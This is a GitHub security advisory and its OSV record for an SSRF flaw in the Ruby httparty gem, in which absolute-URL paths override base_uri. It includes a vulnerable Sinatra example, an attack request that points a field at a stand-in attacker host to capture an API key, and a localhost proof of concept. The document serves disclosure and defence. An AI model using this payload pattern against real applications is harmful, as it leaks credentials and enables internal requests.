GHSA-HM5P-X4RQ-38W4
Vulnerability from github – Published: 2025-12-23 19:31 – Updated: 2026-06-08 23:17Summary
There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.
Details
When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.
Consider the following example of a web application:
require 'sinatra'
require 'httparty'
class RepositoryClient
include HTTParty
base_uri 'http://exmaple.test/api/v1/repositories/'
headers 'X-API-KEY' => '1234567890'
end
post '/issue' do
request_body = JSON.parse(request.body.read)
RepositoryClient.get(request_body['repository_id']).body
# do something
json message: 'OK'
end
Now, suppose an attacker sends a request like this:
POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json
{
"repository_id": "http://attacker.test",
"title": "test"
}
In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.
A similar problem was reported and fixed in the HTTP client library axios in the past:
https://github.com/axios/axios/issues/6463
Also, Python's urljoin function has documented a warning about similar behavior:
https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin
PoC
Follow these steps to reproduce the issue:
- Set up two simple HTTP servers.
bash
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
- Create a script (for example,
main.rb):
```rb require 'httparty'
class Client include HTTParty base_uri 'http://localhost:10001' end
data = Client.get('http://localhost:10002').body puts data ```
- Run the script:
bash
$ ruby main.rb
this is server2
Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.
Impact
- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
- Affected users: Any software that uses
base_uriand does not properly validate the path parameter may be affected by this issue.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.23.2"
},
"package": {
"ecosystem": "RubyGems",
"name": "httparty"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68696"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-23T19:31:10Z",
"nvd_published_at": "2025-12-23T23:15:45Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThere may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.\n\n## Details\n\nWhen httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.\n\nConsider the following example of a web application:\n\n```rb\nrequire \u0027sinatra\u0027\nrequire \u0027httparty\u0027\n\nclass RepositoryClient\n include HTTParty\n base_uri \u0027http://exmaple.test/api/v1/repositories/\u0027\n headers \u0027X-API-KEY\u0027 =\u003e \u00271234567890\u0027\nend\n\npost \u0027/issue\u0027 do\n request_body = JSON.parse(request.body.read)\n RepositoryClient.get(request_body[\u0027repository_id\u0027]).body\n # do something\n json message: \u0027OK\u0027\nend\n```\n\nNow, suppose an attacker sends a request like this:\n\n```\nPOST /issue HTTP/1.1\nHost: localhost:10000\nContent-Type: application/json\n\n{\n \"repository_id\": \"http://attacker.test\",\n \"title\": \"test\"\n}\n```\n\nIn this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.\n\nA similar problem was reported and fixed in the HTTP client library axios in the past: \n\u003chttps://github.com/axios/axios/issues/6463\u003e\n\nAlso, Python\u0027s `urljoin` function has documented a warning about similar behavior: \n\u003chttps://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin\u003e\n\n## PoC\n\nFollow these steps to reproduce the issue:\n\n1. Set up two simple HTTP servers.\n\n ```bash\n mkdir /tmp/server1 /tmp/server2\n echo \"this is server1\" \u003e /tmp/server1/index.html \n echo \"this is server2\" \u003e /tmp/server2/index.html\n python -m http.server -d /tmp/server1 10001 \u0026\n python -m http.server -d /tmp/server2 10002 \u0026\n ```\n\n2. Create a script (for example, `main.rb`):\n\n ```rb\n require \u0027httparty\u0027\n\n class Client\n include HTTParty\n base_uri \u0027http://localhost:10001\u0027\n end\n\n data = Client.get(\u0027http://localhost:10002\u0027).body\n puts data\n ```\n\n3. Run the script:\n\n ```bash\n $ ruby main.rb\n this is server2\n ```\n\nAlthough `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`.\n\n\n## Impact\n\n- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts. \n- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running. \n- Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.",
"id": "GHSA-hm5p-x4rq-38w4",
"modified": "2026-06-08T23:17:28Z",
"published": "2025-12-23T19:31:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68696"
},
{
"type": "WEB",
"url": "https://github.com/jnunemaker/httparty/commit/0529bcd6309c9fd9bfdd50ae211843b10054c240"
},
{
"type": "PACKAGE",
"url": "https://github.com/jnunemaker/httparty"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2025-68696.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.